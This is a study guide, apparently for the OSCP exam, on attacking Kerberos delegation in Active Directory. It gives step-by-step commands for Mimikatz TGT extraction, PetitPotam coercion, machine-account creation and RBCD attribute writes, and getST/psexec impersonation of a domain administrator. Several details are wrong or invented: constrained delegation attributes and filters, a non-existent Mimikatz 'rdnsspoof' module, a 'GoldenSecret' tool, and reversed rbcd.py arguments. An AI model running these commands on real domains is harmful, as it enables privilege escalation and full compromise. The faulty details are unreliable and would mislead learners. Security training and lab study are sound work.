Delegation Types
Kerberos delegation allows a service to act on behalf of a user when accessing another service. It is one of the most powerful and most commonly exploited features in Active Directory. Understanding delegation is critical for OSCP.
1. Delegation Overview
What is Delegation?
Delegation is a Kerberos feature that allows a service to impersonate a user when accessing another service. This is needed for scenarios where:
- A web application needs to query a database on behalf of the logged-in user
- A file server needs to authenticate to a backup service using the user’s identity
- A terminal server needs to access network resources as the connected user
The Four Types
| Type |
Risk Level |
UAC Flag / Attribute |
Target Control |
Attack Complexity |
| Unconstrained Delegation |
🔴 Critical |
TRUSTED_FOR_DELEGATION (524288) |
Attacker controls the delegating host |
Medium |
| Constrained Delegation |
🟠 High |
TRUSTED_FOR_DELEGATION + SPNs in servicePrincipalName |
Admin configures allowed SPNs |
Low |
| Resource-Based Constrained Delegation (RBCD) |
🔴 Critical |
msDS-AllowedToActOnBehalfOfOtherIdentity on target computer |
Resource (target) controls delegation |
Low |
| Protocol Transition (S4U) |
🟡 Medium |
TRUSTED_TO_AUTH_FOR_DELEGATION (1073741824) |
Service configures protocol transition |
Medium |
Why Delegation is Dangerous
The Core Problem:
═════════════════
Delegation trusts a service to handle user tickets responsibly.
If an attacker compromises that service (or the computer it runs on),
they can:
1. Capture user tickets (Unconstrained)
2. Request tickets for specific services as any user (Constrained)
3. Self-assign delegation rights (RBCD)
4. Perform two-phase authentication (Protocol Transition)
In OSCP labs, delegation misconfigurations are one of the most common
paths to Domain Admin.
2. Unconstrained Delegation (CRITICAL for OSCP)
How It Works
Normal Flow:
════════════
User → Web Server (with unconstrained delegation) → Database Server
1. User authenticates to Web Server
2. Web Server receives the user's TGT in memory
3. Web Server uses the TGT to request a service ticket for the Database
4. Database Server receives the request as the original user
The Key Point:
═════════════
The user's TGT is CACHED in the Web Server's memory (lsass.exe).
If an attacker compromises the Web Server, they can extract the TGT
and use it to authenticate as ANY user who has accessed the server.
UAC Flag
| Flag |
Value |
Meaning |
TRUSTED_FOR_DELEGATION |
524288 |
The account/computer is trusted for unconstrained delegation |
Attack Flow (Step by Step)
Step 1: Identify the Target
════════════════════════════
Find computers/users with unconstrained delegation:
PowerShell:
Get-ADComputer -Filter {userAccountControl -band 524288} \
-Properties userAccountControl, dnsHostName
PowerView:
Get-DomainComputer -Unconstrained
BloodHound:
Match (n:Computer)-[:AllowedToDelegate]->(m)
Where n.pricedaccess = false
Return n.name, m.name
Step 2: Compromise the Delegating Computer
═══════════════════════════════════════════
Gain access to the computer with unconstrained delegation.
This can be through any initial access vector (vulnerability, credentials, etc.)
Step 3: Lure a High-Value User
═══════════════════════════════
Force a Domain Admin (or other high-value user) to access your compromised computer.
This causes their TGT to be cached in your computer's memory.
Luring Techniques:
├── Share a tempting file/folder on your machine
├── Host a malicious SMB share with attractive content
├── Use Resource Kit tools to force enumeration
├── Modify the user's home directory to point to your machine
├── Use the "petitpotam" or "mimikatz" RPC luring techniques
└── Wait for natural access (if the DA logs in regularly)
Step 4: Extract the TGT
════════════════════════
Once the DA's TGT is cached, extract it from memory:
Mimikatz:
kerberos::list /extract
kerberos::ptt [TGT_KRB_CRED_FILE]
Or export the TGT:
kerberos::export /ticket:TGT_FILE.kirbi
Step 5: Use the TGT
════════════════════
Inject the TGT into your session:
Mimikatz:
kerberos::ptt [TGT_KRB_CRED_FILE]
Then access any resource as the DA:
dir \\\\DC01\\C$
psexec.py -k -no-pass DOMAIN/DC01
Luring Techniques (Detailed)
PetitPotam (RPC luring):
═════════════════════════
Uses MS-EFSR (Encrypting File System Service) RPC interface
to force a DC to authenticate to your machine.
python3 petitpotam.py 10.0.0.10 DC01.corp.local
Mimikatz RPC luring:
════════════════════
auxiliary/kerberos/rdnsspoof in Mimikatz can lure DCs.
GoldenSecret:
═════════════
Uses MS-DFSNM (Distributed File System Namespace) to lure
DCs to authenticate to your machine.
python3 goldensecret.py -u user -p pass -d domain.com \
-target DC01.domain.com -listener 10.0.0.10
3. Constrained Delegation (HIGH for OSCP)
How It Works
Normal Flow:
════════════
User → Service A (with constrained delegation to cifs/FileServer) → FileServer
1. User authenticates to Service A
2. Service A uses constrained delegation to request a TGS
for cifs/FileServer on behalf of the user
3. The KDC issues a TGS for cifs/FileServer
4. Service A accesses the FileServer as the user
Key Difference from Unconstrained:
═══════════════════════════════════
- Service A can ONLY request tickets for SPECIFIC SPNs
- The allowed SPNs are configured in the servicePrincipalName attribute
- Service A cannot capture or use TGTs
- Service A can only impersonate users for the allowed services
UAC Flags
| Flag |
Value |
Meaning |
TRUSTED_FOR_DELEGATION |
524288 |
Delegation enabled |
TRUSTED_TO_AUTH_FOR_DELEGATION |
1073741824 |
Protocol transition enabled (for S4U) |
Attack Flow (Step by Step)
Step 1: Identify the Target
════════════════════════════
Find accounts with constrained delegation:
PowerShell:
Get-ADUser -Filter {trustedForDelegation -eq $true} \
-Properties servicePrincipalName, userAccountControl
Get-ADComputer -Filter {trustedForDelegation -eq $true} \
-Properties servicePrincipalName, userAccountControl
BloodHound:
Match (n)-[:AllowedToDelegate]->(m)
Return n.name, m.name, n.serviceprincipalname
Step 2: Check Allowed SPNs
═══════════════════════════
The servicePrincipalName attribute lists the allowed SPNs:
Example:
servicePrincipalName: cifs/DC01.corp.local
servicePrincipalName: http/web01.corp.local
This means the account can request TGS tickets for:
- CIFS (SMB) on DC01.corp.local
- HTTP on web01.corp.local
Step 3: Request TGS Ticket
═══════════════════════════
Use the constrained delegation to request a TGS for the allowed SPN:
Impacket getST.py:
getST.py -spn cifs/DC01.corp.local -impersonate administrator \
DOMAIN/delegated_user:password
Rubeus:
Rubeus.exe asktgs /ticket:TGT_BASE64 /service:cifs/DC01.corp.local
Step 4: Use the TGS Ticket
═══════════════════════════
Export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DC01.corp.local
Now you have admin access to DC01 via SMB!
Why Constrained Delegation is Dangerous
| Scenario |
Impact |
SPN includes cifs/DC01 |
You can access the DC via SMB as any user |
SPN includes host/DC01 |
You can authenticate to the DC as any user |
SPN includes MSSQLSvc/db01 |
You can access the database as any user |
SPN includes http/web01 |
You can access the web app as any user |
4. Resource-Based Constrained Delegation (RBCD) (MOST IMPORTANT for OSCP)
Why RBCD is the Most Dangerous
What Makes RBCD Special:
═════════════════════════
1. The TARGET computer controls who can delegate to it
(not the delegating account)
2. Any domain user can create up to 10 computer accounts by default
(ms-DS-MachineAccountQuota = 10)
3. If you have ANY write access to a computer object (GenericAll,
GenericWrite, WriteDACL), you can add your computer to the
msDS-AllowedToActOnBehalfOfOtherIdentity attribute
4. This means: low-privilege user → create computer → write to target
computer → delegate as Domain Admin → full access
This is the EASIEST path to Domain Admin in many OSCP labs.
The RBCD Attribute
| Attribute |
Description |
msDS-AllowedToActOnBehalfOfOtherIdentity |
A DACL on the target computer that specifies which computer accounts can delegate to this computer |
Attack Flow (Step by Step — COMPLETE)
Step 1: Create a New Computer Account
══════════════════════════════════════
Any domain user can create up to 10 computer accounts by default.
PowerShell (Powermad):
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evilpc \
-Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
Verify:
Get-ADComputer evilpc
Step 2: Get the New Computer's SID
══════════════════════════════════
PowerShell:
$computer = Get-ADComputer evilpc
$computerSid = $computer.Sid.Value
Write-Host "Computer SID: $computerSid"
Step 3: Find a Target Computer You Can Write To
════════════════════════════════════════════════
Look for computers where you have GenericAll, GenericWrite, or WriteDACL.
BloodHound:
Match (n:User {name:'YOUR_USER'})-[:GenericAll|GenericWrite|WriteDACL]->(c:Computer)
Return c.name
PowerView:
Get-DomainComputer | ForEach-Object {
Get-ObjectAcl -SamAccountName $_.SamAccountName -ResolveIds
}
Step 4: Add Your Computer to msDS-AllowedToActOnBehalfOfOtherIdentity
══════════════════════════════════════════════════════════════════════
PowerShell (RBCD.ps1):
Import-Module .\RBCD.ps1
Add-DomainComputerAllowedToActOnBehalfOfOtherIdentity \
-TargetIdentity "TARGETPC" \
-PrincipalSid $computerSid
Or using Impacket:
python3 rbcd.py -action write -delegate-to evilpc$ \
-delegate-from TARGETPC$ -user attacker -password pass -dc-ip DC_IP \
-domain domain.com
Step 5: Request TGS Ticket via S4U2Self/S4U2Proxy
══════════════════════════════════════════════════
Impacket getST.py:
getST.py -spn cifs/TARGETPC.domain.com \
-impersonate administrator \
-dc-ip DC_IP \
DOMAIN/evilpc$:P@ssw0rd!
This requests a TGS ticket for cifs/TARGETPC as the administrator,
using your evilpc$ computer account.
Step 6: Access the Target Computer
═══════════════════════════════════
Export the ticket:
export KRB5CCNAME=administrator.ccache
Access the target:
psexec.py -k -no-pass TARGETPC.domain.com
You now have admin access to TARGETPC as the Domain Administrator!
One-Liner RBCD Attack (Impacket)
# Impacket has a one-liner for RBCD:
python3 getST.py -spn cifs/TARGETPC.domain.com \
-impersonate administrator \
-dc-ip DC_IP \
DOMAIN/evilpc$:P@ssw0rd!
# Then:
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass TARGETPC.domain.com
Why RBCD is So Common in OSCP
| Reason |
Explanation |
| Default Permissions |
Every domain user can create 10 computer accounts |
| Common Misconfiguration |
Authenticated Users often have GenericWrite on computer objects |
| Low Barrier |
No special privileges needed beyond basic domain user |
| High Impact |
Leads directly to admin access on the target computer |
| Stealthy |
Does not trigger the same alerts as DCSync or Golden Tickets |
5. Protocol Transition (S4U)
What is Protocol Transition?
Protocol transition allows a service to convert a non-Kerberos authentication (like NTLM or forms auth) into a Kerberos ticket. This is used when:
- A web application authenticates users via forms (not Kerberos)
- The web application needs to access backend services using Kerberos
- The service needs to “prove” the user’s identity to Kerberos
S4U Extensions
| Extension |
Description |
| S4U2Self |
Service requests a TGS ticket for itself on behalf of a user. The KDC issues a TGS for user → service. This proves the user’s identity to Kerberos. |
| S4U2Proxy |
Service requests a TGS ticket for another service on behalf of a user. The KDC issues a TGS for user → target_service. This allows the service to access the target service as the user. |
UAC Flag
| Flag |
Value |
Meaning |
TRUSTED_TO_AUTH_FOR_DELEGATION |
1073741824 |
The account can be used for protocol transition (S4U) |
How S4U Enables Attacks
S4U2Self + S4U2Proxy Flow:
═══════════════════════════
1. Attacker controls an account with TRUSTED_TO_AUTH_FOR_DELEGATION
2. Attacker uses S4U2Self to get a TGS for themselves as any user
→ KDC issues TGS: user → attacker's_service
3. Attacker uses S4U2Proxy to get a TGS for a target service
→ KDC issues TGS: user → target_service
4. Attacker uses the TGS to access the target service as the user
This is the mechanism behind Constrained Delegation and RBCD attacks.
S4U Attack Flow
Step 1: Identify S4U-capable accounts
══════════════════════════════════════
Get-ADUser -Filter {userAccountControl -band 1073741824} \
-Properties userAccountControl, servicePrincipalName
Step 2: Use S4U2Self to get a forwardable ticket
═════════════════════════════════════════════════
Rubeus:
Rubeus.exe s4u /user:DELEGATED_ACCOUNT /rc4:HASH \
/impersonateuser:administrator /msdsspn:cifs/TARGET
Step 3: Use the ticket
══════════════════════
Rubeus:
Rubeus.exe ptt /ticket:BASE64_TICKET
Then:
dir \\\\TARGET\\C$
6. Delegation Comparison
Complete Comparison Table
| Feature |
Unconstrained |
Constrained |
RBCD |
Protocol Transition |
| UAC Flag |
TRUSTED_FOR_DELEGATION (524288) |
TRUSTED_FOR_DELEGATION + SPNs |
msDS-AllowedToActOnBehalfOfOtherIdentity |
TRUSTED_TO_AUTH_FOR_DELEGATION (1073741824) |
| Target Control |
Attacker controls delegating host |
Admin configures SPNs |
Resource (target) controls |
Service configures |
| SPN Restriction |
None (any service) |
Specific SPNs only |
cifs on target computer |
Specific SPNs |
| Ticket Type |
Captures TGT from memory |
Requests TGS via S4U |
Requests TGS via S4U |
S4U2Self + S4U2Proxy |
| Prerequisites |
Compromise delegating computer + lure user |
Control delegated account |
Write access to target computer + create computer account |
Control S4U-capable account |
| Attack Complexity |
Medium (need to lure user) |
Low (if you control the account) |
Low (if you have write access) |
Medium |
| Risk Level |
🔴 Critical |
🟠 High |
🔴 Critical |
🟡 Medium |
| OSCP Frequency |
Very Common |
Common |
Most Common |
Less Common |
| Detection |
TGT extraction from lsass |
Unusual TGS requests |
New computer account + ACL modification |
S4U protocol usage |
OSCP Exam Checklist: Delegation Types
Must-Know Concepts
Must-Remember Commands
# Find unconstrained delegation targets
Get-ADComputer -Filter {userAccountControl -band 524288} -Properties userAccountControl
# Find constrained delegation targets
Get-ADUser -Filter {trustedForDelegation -eq $true} -Properties servicePrincipalName
# Create computer account (Powermad)
New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
# Add RBCD ACL
Add-DomainComputerAllowedToActOnBehalfOfOtherIdentity -TargetIdentity "TARGETPC" -PrincipalSid $computerSid
# RBCD attack (Impacket)
getST.py -spn cifs/TARGETPC.domain.com -impersonate administrator \
-dc-ip DC_IP DOMAIN/evilpc$:P@ssw0rd!
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass TARGETPC.domain.com
# Constrained delegation
getST.py -spn cifs/DC01.domain.com -impersonate administrator \
DOMAIN/delegated_user:password
# Luring (PetitPotam)
python3 petitpotam.py 10.0.0.10 DC01.corp.local